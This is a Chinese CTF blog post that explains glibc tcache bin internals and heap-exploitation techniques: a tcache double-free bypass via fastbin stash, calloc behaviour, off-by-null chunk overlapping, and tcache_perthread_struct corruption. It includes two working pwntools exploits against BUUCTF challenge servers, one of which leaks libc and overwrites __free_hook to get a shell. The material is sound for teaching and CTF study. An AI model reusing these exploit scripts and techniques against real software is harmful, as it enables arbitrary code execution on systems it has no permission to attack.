Tcache bin总结

Tcache

Tcache是glibc 2.26之后引入的机制,与glibc 2.23版本下堆利用方式有一定区别,产生了新的利用方式。


0x1 相关结构体

tcache_entry

typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

tcache_entry用来链接空闲的tcache chunk,其中的next指针指向下一个大小相同的空闲tcache chunk。

注意:这里的next指针指向的是user data部分,也就是说指向的是chunk head+0x10地址处

而fastbin则指向的是chunk head


tcache_perthread_struct

tcache_perthread_struct是tcache的管理结构,他:

  • 收藏了所有的tcache_entry
  • 记录了空闲tcache个数,也就是tcache_entry的个数

这个管理结构会在第一次调用malloc时,先malloc一块内存用来存放tcache_perthread_struct。因此做glibc >=2.26的题时,gdb调试的时候第一个堆块即为tcache_perthread_struct


0x2 基本知识点

  • free的堆块,当内存小于small bin size时(0x400),会被优先置入tcache bin链表,当填满七个后,才会填入fastbin/unsortedbin链表
  • malloc时,优先从tcache bin 中寻找是否有合适大小的bin。

0x3 常见利用方式

tcache poisoning

tcache dup

tcache perthread corruption

tcache house of spirit

tcache stashing unlink attack

等。

具体利用方式,不再赘述。可以去CTF-wiki上看看。

CTF-wiki-tcache


0x4 个人总结

学习完CTF-wiki上对于tcache bin 的利用方式后,我个人在做题中也遇到一些林林总总的问题,也get到了一些知识点。

4.1 tcache double free机制绕过

4.1.1补充知识点

tcache 为空时,如果 fastbin/smallbin/unsorted bin 中有 size 符合的 chunk,会先把 fastbin/smallbin/unsorted bin 中的 chunk 放到 tcache 中,直到填满。之后再从 tcache 中取。


绕过方式

在glibc 较低版本下,我们可以直接利用tcache dup,free掉一个相同的tcache 堆块两次。比fastbin double free要好用得多。

经过我patchelf之后发现,libc2.27-3ubuntu1及之前均可直接使用tcache dup,当版本大于等于libc2.27-3ubuntu1_后不可直接double free。

原因是加入了对tcache bin double free 的检测,至于检测的源代码我就不贴了,感兴趣的可以上CTF-wiki上看。

讲讲绕过的办法:

可以通过fastbin double free触发stash,构造tcache任意地址写

具体流程:

  • 先free掉多个相同大小堆块(size <=0x80),填满tcache bin 链表
  • 继续free掉相同大小的堆块,进入fastbin,构造fastbin double free
  • 将tcache bin链表中的chunk全部malloc回来
  • 再malloc一次,即可触发stash,构造任意地址写

步骤一二之后,我们的空闲堆块链表结构应该是这样的:(画的有点丑)

2

然后经过步骤三之后,tcache链表清空,再malloc时,会从先从tcache bin链表中寻找,发现并没有合适大小的堆块,然后到fastbin链表中找到合适大小的堆块,将fastbin链表中的所有堆块放进tcache中:

2

然后取走p1,malloc时伪造fastbin p1的fd指针,可以达到任意地址写的目的:

4.2 tcache bin 的一些特性

特性一

calloc时不会去tcache bin中寻找。

例题 gyctf_2020_signin

这道题主要利用了两个知识点:

  • 在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。(前面补充的知识点)
  • calloc不会分配tcache空闲链表中的堆块。

直接贴我的exp了,有兴趣的可以去BUU上做做:

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# r = process('/mnt/hgfs/ubuntu/BUUCTF/gyctf_2020_signin')
r = remote('node4.buuoj.cn',28190)

def new(index):
    r.recvuntil(b"your choice?")
    r.sendline(b'1')
    r.recvuntil(b"idx?")
    r.sendline(str(index))

def delete(index):
    r.recvuntil(b"your choice?")
    r.sendline(b'3')
    r.recvuntil(b"idx?")
    r.sendline(str(index))

def edit(index,content):
    r.recvuntil(b"your choice?")
    r.sendline(b'2')
    r.recvuntil(b"idx?")
    r.sendline(str(index))
    r.sendline(content)

def shell():
    r.recvuntil(b"your choice?")
    r.sendline(b'6')

ptr_addr = 0x4040c0
for i in range(8):
    new(i)
for j in range(8):
    delete(j)
new(8)
edit(7,p64(ptr_addr-0x10))

shell()
# gdb.attach(r)
r.interactive()


特性二

tcache 中的 chunk 不会合并

Ptmalloc2中,为了整理内存碎片,通常会进行unlink操作,但在tcache中,chunk之间不会合并。

例题 hitcon_2018_children_tcache

做这道题之前我还不知道tcache 之中的chunk不会合并,于是将堆结构 构造成这样之后:

1

我就很纳闷为什么free掉chunk2不会触发unlink合并chunk1。

后来查资料知道了tcache中的chunk不会合并。

那就只好合并两个unsorted bin 了。

这道题有几个注意事项:

  • 注意free之后malloc回来的堆块的index,容易搞错。
  • 有OFF BY NULL漏洞,但是因为free堆块时会用memset干扰,所以只能多次利用OFF BY NULL将pre_size写对。
  • 主要使用夹心饼攻击,用两个unsorted bin 夹一个较小的chunk,构造chunk overlapping

我的exp:

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# r = process('/mnt/hgfs/ubuntu/BUUCTF/HITCON_2018_children_tcache')
r = remote('node4.buuoj.cn',27042)
libc = ELF('/mnt/hgfs/ubuntu/BUUCTF/libc-2.27.so')

def new(size,content):
    r.recvuntil(b"Your choice: ")
    r.sendline(b'1')
    r.recvuntil(b"Size:")
    r.sendline(str(size))
    r.recvuntil(b"Data:")
    r.sendline(content)

def delete(index):
    r.recvuntil(b"Your choice: ")
    r.sendline(b'3')
    r.recvuntil(b"Index:")
    r.sendline(str(index))

def show(index):
    r.recvuntil(b"Your choice: ")
    r.sendline(b'2')
    r.recvuntil(b"Index:")
    r.sendline(str(index))

new(0x410,b'a')#0
new(0x28,b'b')#1
new(0x4f0,b'c')#2
new(0x10,b'd')#3
delete(1)
delete(0)
for i in range(6):  
    new(0x28-i,b'a'*(0x28-i))
    delete(0)#trick
new(0x22,b'a'*0x20+b'\x50\x04')#0
delete(2)
new(0x410,b'e')#1
show(0)
libc_base = u64(r.recv(6).ljust(8,b'\0'))-libc.symbols["__malloc_hook"]-0x10-96
log.success("libc_base: "+hex(libc_base))
new(0x20,b'a')#0#2
delete(0)
delete(2)
free_hook = libc.symbols["__free_hook"]+libc_base
new(0x20,p64(free_hook))
new(0x20,b'a')
one_gadget = libc_base+0x4f322
new(0x20,p64(one_gadget))
delete(3)
# gdb.attach(r)
r.interactive()

4.3 打tcache_perthread_struct结构体

tcache_perthread_struct结构体里有着

①Tcache的next指针

②空闲堆块数。

控制该结构体即可:

  • malloc到任意地址
  • 改变空闲堆块数,free可得到unsortedbin

4.4 tcache bin 下标

具体可参照glibc源码,是将Tcache bin下标看作无符号整数的。

因此我们可以构造出 circle list后,add三次,此时tcache bin 下标变为负数。

DN11U(IOUKUZ2K{Q4}UAJ~T

此时由于下标是无符号整数,转换过来会得到一个很大的数,自然大于7,因此此时再free堆块即可进入unsortedbin范围。

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值